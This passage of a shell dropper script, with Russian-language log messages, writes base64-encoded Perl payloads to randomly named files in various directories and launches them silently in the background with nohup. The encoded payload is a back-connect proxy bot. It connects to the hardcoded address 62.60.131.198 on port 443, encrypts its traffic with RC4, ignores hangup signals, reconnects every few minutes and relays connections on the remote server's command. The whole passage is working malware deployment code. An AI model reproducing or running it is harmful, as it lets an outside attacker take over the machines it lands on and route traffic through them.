ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #50 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #50 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 51 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg 